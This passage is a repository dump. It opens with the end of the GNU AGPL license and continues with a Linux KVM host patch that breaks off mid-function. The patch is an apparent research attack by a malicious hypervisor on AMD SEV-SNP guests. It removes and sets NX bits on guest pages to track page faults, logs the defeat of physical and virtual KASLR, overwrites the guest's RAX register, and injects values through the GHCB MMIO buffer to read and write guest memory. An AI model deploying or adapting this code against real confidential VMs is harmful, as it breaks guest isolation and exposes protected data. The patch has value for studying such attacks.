NOT LIMITED TO LOSS OF 605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 608 | SUCH DAMAGES. 609 | 610 | 17. Interpretation of Sections 15 and 16. 611 | 612 | If the disclaimer of warranty and limitation of liability provided 613 | above cannot be given local legal effect according to their terms, 614 | reviewing courts shall apply local law that most closely approximates 615 | an absolute waiver of all civil liability in connection with the 616 | Program, unless a warranty or assumption of liability accompanies a 617 | copy of the Program in return for a fee. 618 | 619 | END OF TERMS AND CONDITIONS 620 | 621 | How to Apply These Terms to Your New Programs 622 | 623 | If you develop a new program, and you want it to be of the greatest 624 | possible use to the public, the best way to achieve this is to make it 625 | free software which everyone can redistribute and change under these terms. 626 | 627 | To do so, attach the following notices to the program. It is safest 628 | to attach them to the start of each source file to most effectively 629 | state the exclusion of warranty; and each file should have at least 630 | the "copyright" line and a pointer to where the full notice is found. 631 | 632 | 633 | Copyright (C) 634 | 635 | This program is free software: you can redistribute it and/or modify 636 | it under the terms of the GNU Affero General Public License as published 637 | by the Free Software Foundation, either version 3 of the License, or 638 | (at your option) any later version. 639 | 640 | This program is distributed in the hope that it will be useful, 641 | but WITHOUT ANY WARRANTY; without even the implied warranty of 642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 643 | GNU Affero General Public License for more details. 644 | 645 | You should have received a copy of the GNU Affero General Public License 646 | along with this program. If not, see . 647 | 648 | Also add information on how to contact you by electronic and paper mail. 649 | 650 | If your software can interact with users remotely through a computer 651 | network, you should also make sure that it provides a way for users to 652 | get its source. For example, if your program is a web application, its 653 | interface could display a "Source" link that leads users to an archive 654 | of the code. There are many ways you could offer source, and different 655 | solutions will be better for different programs; see section 13 for the 656 | specific requirements. 657 | 658 | You should also get your employer (if you work as a programmer) or school, 659 | if any, to sign a "copyright disclaimer" for the program, if necessary. 660 | For more information on this, and how to apply and follow the GNU AGPL, see 661 | . 662 | -------------------------------------------------------------------------------- /linux/host.patch: -------------------------------------------------------------------------------- 1 | diff --git a/arch/x86/kvm/mmu/mmu.c b/arch/x86/kvm/mmu/mmu.c 2 | index 9428cc74398f..bb9c23033153 100644 3 | --- a/arch/x86/kvm/mmu/mmu.c 4 | +++ b/arch/x86/kvm/mmu/mmu.c 5 | @@ -56,6 +56,8 @@ 6 | #include 7 | #include "trace.h" 8 | 9 | +#include 10 | + 11 | extern bool itlb_multihit_kvm_mitigation; 12 | 13 | static bool nx_hugepage_mitigation_hard_disabled; 14 | @@ -1274,6 +1276,56 @@ static bool rmap_write_protect(struct kvm_rmap_head *rmap_head, 15 | return flush; 16 | } 17 | 18 | +static bool spte_exec_unprotect(u64 *sptep, bool pt_protect) 19 | +{ 20 | + bool flush = false; 21 | + u64 spte = *sptep; 22 | + 23 | + if (spte & PT64_NX_MASK){ 24 | + flush = true; 25 | + spte &= ~PT64_NX_MASK; 26 | + mmu_spte_update(sptep, spte); 27 | + } 28 | + return flush; 29 | +} 30 | + 31 | + 32 | +static bool spte_exec_protect(u64 *sptep, bool pt_protect) 33 | +{ 34 | + u64 spte = *sptep; 35 | + 36 | + spte |= PT64_NX_MASK; 37 | + mmu_spte_update(sptep, spte); 38 | + 39 | + return true; 40 | +} 41 | + 42 | +static bool rmap_exec_unprotect(struct kvm_rmap_head *rmap_head, 43 | + bool pt_protect) 44 | +{ 45 | + u64 *sptep; 46 | + struct rmap_iterator iter; 47 | + bool flush = false; 48 | + 49 | + for_each_rmap_spte(rmap_head, &iter, sptep) 50 | + flush |= spte_exec_unprotect(sptep, pt_protect); 51 | + 52 | + return flush; 53 | +} 54 | + 55 | +static bool rmap_exec_protect(struct kvm_rmap_head *rmap_head, 56 | + bool pt_protect) 57 | +{ 58 | + u64 *sptep; 59 | + struct rmap_iterator iter; 60 | + bool flush = false; 61 | + 62 | + for_each_rmap_spte(rmap_head, &iter, sptep) 63 | + flush |= spte_exec_protect(sptep, pt_protect); 64 | + 65 | + return flush; 66 | +} 67 | + 68 | static bool spte_clear_dirty(u64 *sptep) 69 | { 70 | u64 spte = *sptep; 71 | @@ -1455,6 +1507,50 @@ bool kvm_mmu_slot_gfn_write_protect(struct kvm *kvm, 72 | return write_protected; 73 | } 74 | 75 | +bool kvm_mmu_slot_gfn_exec_unprotect(struct kvm *kvm, 76 | + struct kvm_memory_slot *slot, u64 gfn, 77 | + int min_level) 78 | +{ 79 | + struct kvm_rmap_head *rmap_head; 80 | + int i; 81 | + bool exec_unprotected = false; 82 | + 83 | + if (is_error_pfn(gfn)){ 84 | + return false; 85 | + } 86 | + 87 | + if (kvm_memslots_have_rmaps(kvm)) { 88 | + for (i = min_level; i <= KVM_MAX_HUGEPAGE_LEVEL; ++i) { 89 | + rmap_head = gfn_to_rmap(gfn, i, slot); 90 | + exec_unprotected |= rmap_exec_unprotect(rmap_head, true); 91 | + } 92 | + } 93 | + 94 | + return exec_unprotected; 95 | +} 96 | + 97 | +bool kvm_mmu_slot_gfn_exec_protect(struct kvm *kvm, 98 | + struct kvm_memory_slot *slot, u64 gfn, 99 | + int min_level) 100 | +{ 101 | + struct kvm_rmap_head *rmap_head; 102 | + int i; 103 | + bool exec_protected = false; 104 | + 105 | + if (is_error_pfn(gfn)){ 106 | + return false; 107 | + } 108 | + 109 | + if (kvm_memslots_have_rmaps(kvm)) { 110 | + for (i = min_level; i <= KVM_MAX_HUGEPAGE_LEVEL; ++i) { 111 | + rmap_head = gfn_to_rmap(gfn, i, slot); 112 | + exec_protected |= rmap_exec_protect(rmap_head, true); 113 | + } 114 | + } 115 | + 116 | + return exec_protected; 117 | +} 118 | + 119 | static bool kvm_vcpu_write_protect_gfn(struct kvm_vcpu *vcpu, u64 gfn) 120 | { 121 | struct kvm_memory_slot *slot; 122 | @@ -1463,6 +1559,84 @@ static bool kvm_vcpu_write_protect_gfn(struct kvm_vcpu *vcpu, u64 gfn) 123 | return kvm_mmu_slot_gfn_write_protect(vcpu->kvm, slot, gfn, PG_LEVEL_4K); 124 | } 125 | 126 | +bool kvm_vcpu_exec_protect_gfn(struct kvm_vcpu *vcpu, u64 gfn, bool flush_tlb) 127 | +{ 128 | + struct kvm_memory_slot *slot; 129 | + slot = kvm_vcpu_gfn_to_memslot(vcpu, gfn); 130 | + kvm_mmu_slot_gfn_exec_protect(vcpu->kvm, slot, gfn, PG_LEVEL_4K); 131 | + kvm_tdp_mmu_exec_protect_gfn(vcpu->kvm, slot, gfn, PG_LEVEL_4K); 132 | + 133 | + if (flush_tlb) 134 | + kvm_flush_remote_tlbs_gfn(vcpu->kvm, gfn, PG_LEVEL_4K); 135 | + return true; 136 | +} 137 | +EXPORT_SYMBOL(kvm_vcpu_exec_protect_gfn); 138 | + 139 | + 140 | +bool kvm_vcpu_exec_unprotect_gfn(struct kvm_vcpu *vcpu, u64 gfn) 141 | +{ 142 | + int retval; 143 | + struct kvm_memory_slot *slot; 144 | + slot = kvm_vcpu_gfn_to_memslot(vcpu, gfn); 145 | + retval = kvm_mmu_slot_gfn_exec_unprotect(vcpu->kvm, slot, gfn, PG_LEVEL_4K); 146 | + kvm_flush_remote_tlbs_gfn(vcpu->kvm, gfn, PG_LEVEL_4K); 147 | + return retval; 148 | +} 149 | +EXPORT_SYMBOL(kvm_vcpu_exec_unprotect_gfn); 150 | + 151 | + 152 | +void kvm_slot_page_track_add_page_no_flush(struct kvm_vcpu *vcpu, 153 | + struct kvm_memory_slot *slot, gfn_t gfn, bool init) { 154 | + /* 155 | + * new track stops large page mapping for the 156 | + * tracked page. 157 | + */ 158 | + if (init) 159 | + kvm_mmu_gfn_disallow_lpage(slot, gfn); 160 | + 161 | + kvm_vcpu_exec_protect_gfn(vcpu, gfn, false); 162 | +} 163 | +EXPORT_SYMBOL_GPL(kvm_slot_page_track_add_page_no_flush); 164 | + 165 | +//track all pages; taken from severed repo 166 | +long kvm_start_tracking(struct kvm_vcpu *vcpu, bool init) { 167 | + long count = 0; 168 | + u64 iterator, iterat_max; 169 | + struct kvm_memslots* slots; 170 | + struct kvm_memory_slot *slot; 171 | + int srcu_lock_retval,bkt,i; 172 | + 173 | + for( i = 0; i < KVM_MAX_NR_ADDRESS_SPACES; i++) { 174 | + slots = __kvm_memslots(vcpu->kvm,i); 175 | + kvm_for_each_memslot(slot, bkt, slots) { 176 | + iterat_max = slot->base_gfn + slot->npages; 177 | + srcu_lock_retval = srcu_read_lock(&vcpu->kvm->srcu); 178 | + write_lock(&vcpu->kvm->mmu_lock); 179 | + for (iterator=0; iterator < iterat_max; iterator++) 180 | + { 181 | + slot = kvm_vcpu_gfn_to_memslot(vcpu, iterator); 182 | + if ( slot != NULL ) { 183 | + kvm_slot_page_track_add_page_no_flush(vcpu, slot, iterator, init); 184 | + count++; 185 | + 186 | + } 187 | + if( need_resched() || rwlock_needbreak(&vcpu->kvm->mmu_lock)) { 188 | + cond_resched_rwlock_write(&vcpu->kvm->mmu_lock); 189 | + } 190 | + } 191 | + write_unlock(&vcpu->kvm->mmu_lock); 192 | + srcu_read_unlock(&vcpu->kvm->srcu, srcu_lock_retval); 193 | + } 194 | + } 195 | + if( count > 0 ) { 196 | + kvm_flush_remote_tlbs(vcpu->kvm); 197 | + } 198 | + pr_info("KVM: %ld removed nx bits\n", count); 199 | + return count; 200 | +} 201 | +EXPORT_SYMBOL(kvm_start_tracking); 202 | + 203 | + 204 | static bool __kvm_zap_rmap(struct kvm *kvm, struct kvm_rmap_head *rmap_head, 205 | const struct kvm_memory_slot *slot) 206 | { 207 | @@ -3219,6 +3393,7 @@ void kvm_mmu_hugepage_adjust(struct kvm_vcpu *vcpu, struct kvm_page_fault *fault 208 | kvm_pfn_t mask; 209 | 210 | fault->huge_page_disallowed = fault->exec && fault->nx_huge_page_workaround_enabled; 211 | + //fault->huge_page_disallowed = true; 212 | 213 | if (unlikely(fault->max_level == PG_LEVEL_4K)) 214 | return; 215 | @@ -3735,6 +3910,7 @@ static int mmu_alloc_direct_roots(struct kvm_vcpu *vcpu) 216 | unsigned i; 217 | int r; 218 | 219 | + pr_info("%s",__func__); 220 | write_lock(&vcpu->kvm->mmu_lock); 221 | r = make_mmu_pages_available(vcpu); 222 | if (r < 0) 223 | @@ -4494,6 +4670,27 @@ static bool is_page_fault_stale(struct kvm_vcpu *vcpu, 224 | mmu_invalidate_retry_gfn(vcpu->kvm, fault->mmu_seq, fault->gfn); 225 | } 226 | 227 | +uint64_t in_boot_state = 0; 228 | +uint64_t page_fault_tracing_enabled = 1; 229 | +bool kvm_vcpu_exec_protect_gfn(struct kvm_vcpu *vcpu, u64 gfn, bool flush_tlb); 230 | +static uint64_t curren_file_offset = 0; 231 | +extern struct file *trace_dump_tmp; 232 | + 233 | +int file_sync(struct file *file) 234 | +{ 235 | + vfs_fsync(file, 0); 236 | + return 0; 237 | +} 238 | + 239 | +int file_write(struct file *file, unsigned long long offset, unsigned char *data, unsigned int size) 240 | +{ 241 | + int ret = kernel_write(file, data, size, &offset); 242 | + 243 | + if ((offset & 0xFFFFF) == 0) 244 | + file_sync(file); 245 | + return ret; 246 | +} 247 | + 248 | static int direct_page_fault(struct kvm_vcpu *vcpu, struct kvm_page_fault *fault) 249 | { 250 | int r; 251 | @@ -4575,10 +4772,68 @@ int kvm_handle_page_fault(struct kvm_vcpu *vcpu, u64 error_code, 252 | EXPORT_SYMBOL_GPL(kvm_handle_page_fault); 253 | 254 | #ifdef CONFIG_X86_64 255 | -static int kvm_tdp_mmu_page_fault(struct kvm_vcpu *vcpu, 256 | +static int noinline kvm_tdp_mmu_page_fault(struct kvm_vcpu *vcpu, 257 | struct kvm_page_fault *fault) 258 | { 259 | int r; 260 | + static uint64_t last_phys_addr = 0; 261 | + user_data_npf_ex.page_fault_count_till_vmlinux_switch++; 262 | + user_data_npf_ex.generic_page_fault_counter++; 263 | + if (page_fault_tracing_enabled){ 264 | + //file_write(trace_dump_tmp,curren_file_offset,(char *)&fault->addr,8); 265 | + curren_file_offset+=8; 266 | + //pr_info("page fault at 0x%llx | state %d\n",fault->addr,user_data_npf_ex.state); 267 | + //removed_nx_bit = kvm_vcpu_exec_unprotect_gfn(vcpu, fault->addr >> 12); 268 | + } 269 | + // 0x7a752000 /0x7a753000 270 | + if ((last_phys_addr == 0x7a753000) & ((fault->addr & 0xFFFFF) == 0)){ 271 | + pr_info("defeated physical ASLR %llx\n",fault->addr); 272 | + pr_info("page_faults till this point %lld\n",user_data_npf_ex.page_fault_count_till_vmlinux_switch); 273 | + user_data_npf_ex.physical_base_addr_kernel = fault->addr; 274 | + // the offset is address of x86_64_start_kernel - startup_64 (changes through the guest kernels)0x248eb80 275 | + // 0xffffffff83484dcb - 0xffffffff81000000 = 0x2484dcb 276 | + user_data_npf_ex.x86_64_start_kernel += user_data_npf_ex.physical_base_addr_kernel; 277 | + user_data_npf_ex.insn_get_modrm_reg_ptr_gpa += user_data_npf_ex.physical_base_addr_kernel; 278 | + user_data_npf_ex.vc_handle_mmio_gpa += user_data_npf_ex.physical_base_addr_kernel; 279 | + user_data_npf_ex.update_rq_clock += user_data_npf_ex.physical_base_addr_kernel; 280 | + user_data_npf_ex.sched_clock_cpu += user_data_npf_ex.physical_base_addr_kernel; 281 | + user_data_npf_ex.lookup_address_in_pgd += user_data_npf_ex.physical_base_addr_kernel; 282 | + user_data_npf_ex.vc_do_mmio += user_data_npf_ex.physical_base_addr_kernel; 283 | + user_data_npf_ex.vc_return_address += user_data_npf_ex.physical_base_addr_kernel; 284 | + user_data_npf_ex.scheduler_tick += user_data_npf_ex.physical_base_addr_kernel; 285 | + user_data_npf_ex.update_rq_clock_part_0 += user_data_npf_ex.physical_base_addr_kernel; 286 | + user_data_npf_ex.vc_handle_exitcode_page += user_data_npf_ex.physical_base_addr_kernel; 287 | + user_data_npf_ex.sev_put_ghcb_page += user_data_npf_ex.physical_base_addr_kernel; 288 | + user_data_npf_ex.getrandom_syscall_addr += user_data_npf_ex.physical_base_addr_kernel; 289 | + user_data_npf_ex.vc_handle_exitcode_page_part_1 += user_data_npf_ex.physical_base_addr_kernel; 290 | + 291 | + 292 | + // make sure addresses are page aligned 293 | + user_data_npf_ex.x86_64_start_kernel &= ~0xFFFULL; 294 | + user_data_npf_ex.insn_get_modrm_reg_ptr_gpa &= ~0xFFFULL; 295 | + user_data_npf_ex.vc_handle_mmio_gpa &= ~0xFFFULL; 296 | + user_data_npf_ex.update_rq_clock &= ~0xFFFULL; 297 | + user_data_npf_ex.sched_clock_cpu &= ~0xFFFULL; 298 | + user_data_npf_ex.lookup_address_in_pgd &= ~0xFFFULL; 299 | + user_data_npf_ex.vc_do_mmio &= ~0xFFFULL; 300 | + user_data_npf_ex.vc_return_address &= ~0xFFFULL; 301 | + 302 | + user_data_npf_ex.scheduler_tick &= ~0xFFFULL; 303 | + user_data_npf_ex.update_rq_clock_part_0 &= ~0xFFFULL; 304 | + 305 | + user_data_npf_ex.vc_handle_exitcode_page &= ~0xFFFULL; 306 | + user_data_npf_ex.sev_put_ghcb_page &= ~0xFFFULL; 307 | + 308 | + user_data_npf_ex.getrandom_syscall_addr &= ~0xFFFULL; 309 | + 310 | + user_data_npf_ex.vc_handle_exitcode_page_part_1 &= ~0xFFFULL; 311 | + 312 | + pr_info("registered page fault for virtual KASLR defeat %llx\n",user_data_npf_ex.x86_64_start_kernel); 313 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.x86_64_start_kernel >> 12, true); 314 | + user_data_npf_ex.state = VC_WAIT_FOR_KASLR_PAGE_FAULT; 315 | + user_data_npf_ex.generic_page_counter = 0; 316 | + } 317 | + last_phys_addr = fault->addr; 318 | 319 | if (page_fault_handle_page_track(vcpu, fault)) 320 | return RET_PF_EMULATE; 321 | diff --git a/arch/x86/kvm/mmu/tdp_mmu.c b/arch/x86/kvm/mmu/tdp_mmu.c 322 | index 70052f59cfdf..1582d21491fa 100644 323 | --- a/arch/x86/kvm/mmu/tdp_mmu.c 324 | +++ b/arch/x86/kvm/mmu/tdp_mmu.c 325 | @@ -187,6 +187,8 @@ static struct kvm_mmu_page *tdp_mmu_next_root(struct kvm *kvm, 326 | if (prev_root) 327 | kvm_tdp_mmu_put_root(kvm, prev_root, shared); 328 | 329 | + //pr_info("getting next_root %p", next_root); 330 | + 331 | return next_root; 332 | } 333 | 334 | @@ -972,7 +974,7 @@ void kvm_tdp_mmu_invalidate_all_roots(struct kvm *kvm) 335 | * Installs a last-level SPTE to handle a TDP page fault. 336 | * (NPT/EPT violation/misconfiguration) 337 | */ 338 | -static int tdp_mmu_map_handle_target_level(struct kvm_vcpu *vcpu, 339 | +static int noinline tdp_mmu_map_handle_target_level(struct kvm_vcpu *vcpu, 340 | struct kvm_page_fault *fault, 341 | struct tdp_iter *iter) 342 | { 343 | @@ -1514,8 +1516,9 @@ void kvm_tdp_mmu_try_split_huge_pages(struct kvm *kvm, 344 | int r = 0; 345 | 346 | kvm_lockdep_assert_mmu_lock_held(kvm, shared); 347 | - 348 | + pr_info("shared = %d",shared); 349 | for_each_valid_tdp_mmu_root_yield_safe(kvm, root, slot->as_id, shared) { 350 | + pr_info("testtttttt ----------------\n"); 351 | r = tdp_mmu_split_huge_pages_root(kvm, root, start, end, target_level, shared); 352 | if (r) { 353 | kvm_tdp_mmu_put_root(kvm, root, shared); 354 | @@ -1753,6 +1756,36 @@ static bool write_protect_gfn(struct kvm *kvm, struct kvm_mmu_page *root, 355 | return spte_set; 356 | } 357 | 358 | +static bool exec_protect_gfn(struct kvm *kvm, struct kvm_mmu_page *root, 359 | + gfn_t gfn, int min_level) 360 | +{ 361 | + struct tdp_iter iter; 362 | + u64 new_spte; 363 | + bool spte_set = false; 364 | + 365 | + BUG_ON(min_level > KVM_MAX_HUGEPAGE_LEVEL); 366 | + 367 | + rcu_read_lock(); 368 | + 369 | + for_each_tdp_pte_min_level(iter, root, min_level, gfn, gfn + 1) { 370 | + if (!is_shadow_present_pte(iter.old_spte) || 371 | + !is_last_spte(iter.old_spte, iter.level)) 372 | + continue; 373 | + 374 | + new_spte = iter.old_spte | PT64_NX_MASK; 375 | + 376 | + if (new_spte == iter.old_spte) 377 | + break; 378 | + 379 | + tdp_mmu_iter_set_spte(kvm, &iter, new_spte); 380 | + spte_set = true; 381 | + } 382 | + 383 | + rcu_read_unlock(); 384 | + 385 | + return spte_set; 386 | +} 387 | + 388 | /* 389 | * Removes write access on the last level SPTE mapping this GFN and unsets the 390 | * MMU-writable bit to ensure future writes continue to be intercepted. 391 | @@ -1772,6 +1805,20 @@ bool kvm_tdp_mmu_write_protect_gfn(struct kvm *kvm, 392 | return spte_set; 393 | } 394 | 395 | +bool kvm_tdp_mmu_exec_protect_gfn(struct kvm *kvm, 396 | + struct kvm_memory_slot *slot, gfn_t gfn, 397 | + int min_level) 398 | +{ 399 | + struct kvm_mmu_page *root; 400 | + bool spte_set = false; 401 | + 402 | + lockdep_assert_held_write(&kvm->mmu_lock); 403 | + for_each_tdp_mmu_root(kvm, root, slot->as_id) 404 | + spte_set |= exec_protect_gfn(kvm, root, gfn, min_level); 405 | + 406 | + return spte_set; 407 | +} 408 | + 409 | /* 410 | * Return the level of the lowest level SPTE added to sptes. 411 | * That SPTE may be non-present. 412 | diff --git a/arch/x86/kvm/mmu/tdp_mmu.h b/arch/x86/kvm/mmu/tdp_mmu.h 413 | index 0a63b1afabd3..f6ac59b98352 100644 414 | --- a/arch/x86/kvm/mmu/tdp_mmu.h 415 | +++ b/arch/x86/kvm/mmu/tdp_mmu.h 416 | @@ -49,6 +49,9 @@ void kvm_tdp_mmu_zap_collapsible_sptes(struct kvm *kvm, 417 | bool kvm_tdp_mmu_write_protect_gfn(struct kvm *kvm, 418 | struct kvm_memory_slot *slot, gfn_t gfn, 419 | int min_level); 420 | +bool kvm_tdp_mmu_exec_protect_gfn(struct kvm *kvm, 421 | + struct kvm_memory_slot *slot, gfn_t gfn, 422 | + int min_level); 423 | 424 | void kvm_tdp_mmu_try_split_huge_pages(struct kvm *kvm, 425 | const struct kvm_memory_slot *slot, 426 | diff --git a/arch/x86/kvm/svm/sev.c b/arch/x86/kvm/svm/sev.c 427 | index 32cb570b91eb..e2cb71edabe5 100644 428 | --- a/arch/x86/kvm/svm/sev.c 429 | +++ b/arch/x86/kvm/svm/sev.c 430 | @@ -21,6 +21,8 @@ 431 | #include 432 | #include 433 | 434 | +#include 435 | + 436 | #include 437 | #include 438 | #include 439 | @@ -3902,6 +3904,9 @@ static int sev_handle_vmgexit_msr_protocol(struct vcpu_svm *svm) 440 | return ret; 441 | } 442 | 443 | +extern long kvm_start_tracking(struct kvm_vcpu *vcpu, bool init); 444 | +extern bool kvm_vcpu_exec_protect_gfn(struct kvm_vcpu *vcpu, u64 gfn, bool flush_tlb); 445 | + 446 | int sev_handle_vmgexit(struct kvm_vcpu *vcpu) 447 | { 448 | struct vcpu_svm *svm = to_svm(vcpu); 449 | @@ -3937,6 +3942,8 @@ int sev_handle_vmgexit(struct kvm_vcpu *vcpu) 450 | trace_kvm_vmgexit_enter(vcpu->vcpu_id, ghcb); 451 | 452 | exit_code = ghcb_get_sw_exit_code(ghcb); 453 | + //pr_info("with code %llx\n",exit_code); 454 | + 455 | 456 | /* SEV-SNP guest requires that the GHCB GPA must be registered */ 457 | if (sev_snp_guest(svm->vcpu.kvm) && !ghcb_gpa_is_registered(svm, ghcb_gpa)) { 458 | @@ -3962,12 +3969,38 @@ int sev_handle_vmgexit(struct kvm_vcpu *vcpu) 459 | control->exit_info_1, 460 | control->exit_info_2, 461 | svm->sev_es.ghcb_sa); 462 | + 463 | + if (user_data_npf_ex.state != VC_IDLE){ 464 | + switch (svm->sev_es.ghcb_sa_len) { 465 | + case 8: 466 | + *((u64*)ghcb->shared_buffer) = user_data_npf_ex.data_user; 467 | + pr_info("Write: %llx To: %llx\n",*((u64*)ghcb->shared_buffer),user_data_npf_ex.leak_addr); 468 | + ret = 1; 469 | + break; 470 | + default: 471 | + break; 472 | + } 473 | + } 474 | + 475 | + 476 | break; 477 | case SVM_VMGEXIT_MMIO_WRITE: 478 | ret = setup_vmgexit_scratch(svm, false, control->exit_info_2); 479 | if (ret) 480 | break; 481 | 482 | + if (user_data_npf_ex.state != VC_IDLE){ 483 | + switch (svm->sev_es.ghcb_sa_len) 484 | + { 485 | + case 8: 486 | + user_data_npf_ex.data_user = *((u64*)ghcb->shared_buffer); 487 | + pr_info("READ: %llx From: %llx\n",*((u64*)ghcb->shared_buffer),user_data_npf_ex.leak_addr); 488 | + break; 489 | + default: 490 | + break; 491 | + } 492 | + } 493 | + 494 | ret = kvm_sev_es_mmio_write(vcpu, 495 | control->exit_info_1, 496 | control->exit_info_2, 497 | @@ -4045,6 +4078,56 @@ int sev_handle_vmgexit(struct kvm_vcpu *vcpu) 498 | ret = -EINVAL; 499 | break; 500 | default: 501 | + if (exit_code == 0x81 || exit_code == 0x6f) 502 | + { 503 | + VC_pr_info("vcpu: %d, got vmexit 0x%llx with ghcb gpa: %llx\n", vcpu->vcpu_idx,exit_code, ghcb_gpa); 504 | + switch (exit_code){ 505 | + case 0x81: 506 | + VC_pr_info("leaked RAX: 0x%llx\n",ghcb->save.rax); 507 | + if (user_data_npf_ex.state == VC_INJECTED_RAX_PTR_LEAK_INTO_VC){ 508 | + // The value must have certain condition set, such that the page encrypt check does NOT fail 509 | + // curently we let it point to RAX which is a counter increament at our point 510 | + // this means the value is most likely small and the check in the guest will succeed. 511 | + user_data_npf_ex.valid_virtual_address_pointing_to_rax_register = ghcb->save.rax; 512 | + vcpu->arch.regs[VCPU_REGS_RAX] = user_data_npf_ex.leak_addr; 513 | + //user_data_npf_ex.state = VC_PROFILE_FOR_SECOND_INJECT_INTO_VC; 514 | + user_data_npf_ex.state = VC_SWITCH_TO_SKIPPING_STATE_FIRST; 515 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.lookup_address_in_pgd >> 12, true); 516 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.vc_do_mmio >> 12, true); 517 | + // after here we must fault on vc_raw_handle_exception and sev_put_ghcd. 518 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.vc_handle_exitcode_page >> 12, true); 519 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.sev_put_ghcb_page >> 12, true); 520 | + user_data_npf_ex.state_skipping = VC__START_PROFILING; 521 | + } else if (user_data_npf_ex.state == VC_INJECTED_SECOND_VC_INTO_VC){ 522 | + vcpu->arch.regs[VCPU_REGS_RAX] = user_data_npf_ex.valid_virtual_address_pointing_to_rax_register; 523 | + user_data_npf_ex.state = VC_WAIT_FOR_RETURN_OF_SECOND_VC_INJ; 524 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.vc_return_address >> 12, true); 525 | + } else if(user_data_npf_ex.state == VC_INJECT_VC_TO_SKIP_JMP) { 526 | + VC_pr_info("skip instruction\n"); 527 | + user_data_npf_ex.state = VC_WAIT_INJECT_VC_TO_SKIP_JMP_RETURNED; 528 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.vc_return_address >> 12, true); 529 | + } else if (user_data_npf_ex.state == VC_WAIT_FOR_VMEXIT_WITH_KASLR_ADDR){ 530 | + VC_pr_info("address of x86_64_start_kernel 0x%lx",vcpu->arch.regs[VCPU_REGS_RAX]); 531 | + // if we play around with the kernel while prototyping we will add some prints. 532 | + // this will move the offset around and we end up with +/- 0x100 offsets fix this by applying the mask 533 | + user_data_npf_ex.virtual_base_addr_kernel = (vcpu->arch.regs[VCPU_REGS_RAX] - 0x248eb80) & (~0xFFFFF); 534 | + VC_pr_info("virtual base of kernel is: 0x%llx",user_data_npf_ex.virtual_base_addr_kernel); 535 | + user_data_npf_ex.state = VC_IDLE; 536 | + } else if (user_data_npf_ex.state_skipping == VC__FAULT_ON_BASE){ 537 | + VC_pr_info("skipping instruction in vc_raw_handle_exception\n"); 538 | + VC_pr_profile("vmmcall skip instruction duration rdtsc %lld\n",rdtsc()-user_data_npf_ex.instruction_skip_rdtsc); 539 | + VC_pr_profile("vmmcall skip instruction duration ns %lld\n",ktime_get_ns()-user_data_npf_ex.instruction_skip_ns); 540 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.vc_return_address >> 12, true); 541 | + user_data_npf_ex.state_skipping = VC__WAIT_FOR_END_OF_VC; 542 | + } 543 | + VC_pr_info("overwrite RAX 0x%lx\n",vcpu->arch.regs[VCPU_REGS_RAX]); 544 | + break; 545 | + default: 546 | + VC_pr_info("no custom VC handling function initialized: code 0x%llx",exit_code); 547 | + } 548 | + return 1; 549 | + } 550 | + 551 | ret = svm_invoke_exit_handler(vcpu, exit_code); 552 | } 553 | 554 | @@ -4259,7 +4342,6 @@ void handle_rmp_page_fault(struct kvm_vcpu *vcpu, gpa_t gpa, u64 error_code) 555 | if (!(error_code & PFERR_GUEST_SIZEM_MASK)) { 556 | pr_debug_ratelimited("Unexpected RMP fault for GPA 0x%llx, error_code 0x%llx", 557 | gpa, error_code); 558 | - return; 559 | } 560 | 561 | gfn = gpa >> PAGE_SHIFT; 562 | diff --git a/arch/x86/kvm/svm/svm.c b/arch/x86/kvm/svm/svm.c 563 | index 27a2d3c37394..4667c6501a99 100644 564 | --- a/arch/x86/kvm/svm/svm.c 565 | +++ b/arch/x86/kvm/svm/svm.c 566 | @@ -41,6 +41,8 @@ 567 | #include 568 | #include 569 | 570 | +#include 571 | + 572 | #include 573 | 574 | #include 575 | @@ -4025,17 +4027,319 @@ static fastpath_t svm_exit_handlers_fastpath(struct kvm_vcpu *vcpu) 576 | static noinstr void svm_vcpu_enter_exit(struct kvm_vcpu *vcpu, bool spec_ctrl_intercepted) 577 | { 578 | struct vcpu_svm *svm = to_svm(vcpu); 579 | - 580 | + //uint64_t rdtsc_before = 0; 581 | guest_state_enter_irqoff(); 582 | 583 | + //rdtsc_before = rdtsc(); 584 | if (sev_es_guest(vcpu->kvm)) 585 | __svm_sev_es_vcpu_run(svm, spec_ctrl_intercepted); 586 | else 587 | __svm_vcpu_run(svm, spec_ctrl_intercepted); 588 | + //pr_info("rdtsc diff %lld",rdtsc()-rdtsc_before); 589 | 590 | guest_state_exit_irqoff(); 591 | } 592 | 593 | +extern bool kvm_vcpu_exec_protect_gfn(struct kvm_vcpu *vcpu, u64 gfn, bool flush_tlb); 594 | +extern bool kvm_vcpu_exec_unprotect_gfn(struct kvm_vcpu *vcpu, u64 gfn); 595 | +extern long kvm_start_tracking(struct kvm_vcpu *vcpu, bool init); 596 | + 597 | + 598 | +void profile_pages_and_inject_VC_first(struct kvm_vcpu *vcpu){ 599 | + struct vcpu_svm *svm = to_svm(vcpu); 600 | + u64 fault_address = svm->vmcb->control.exit_info_2; 601 | + static u64 previous_fault_address = 1; 602 | + static u64 count_vc_handle_mmio_gpa = 0; 603 | + static u64 count_insn_get_modrm_reg_ptr_gpa = 0; 604 | + 605 | + if (user_data_npf_ex.insn_get_modrm_reg_ptr_gpa) 606 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.insn_get_modrm_reg_ptr_gpa >> 12, true); 607 | + 608 | + if (user_data_npf_ex.vc_handle_mmio_gpa) 609 | + kvm_vcpu_exec_protect_gfn(vcpu, user_data_npf_ex.vc_handle_mmio_gpa >> 12, true); 610 | + 611 | + 612 | + if (svm->vmcb->control.exit_code == SVM_EXIT_NPF && fault_address){ 613 | + if (user_data_npf_ex.insn_get_modrm_reg_ptr_gpa == fault_address){ 614 | + 